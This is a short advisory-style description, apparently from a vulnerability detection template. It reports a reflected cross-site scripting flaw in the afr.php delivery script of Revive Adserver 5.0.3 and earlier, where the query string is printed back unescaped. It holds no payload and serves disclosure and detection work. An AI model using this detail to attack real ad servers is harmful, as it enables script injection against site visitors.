  description: |
    Revive Adserver 5.0.3 and prior contains a reflected cross-site scripting vulnerability in the publicly accessible afr.php delivery script.

The query string sent to the www/delivery/afr.php script is printed back without proper escaping, allowing an attacker to execute arbitrary JavaScript code on the browser of the victim.
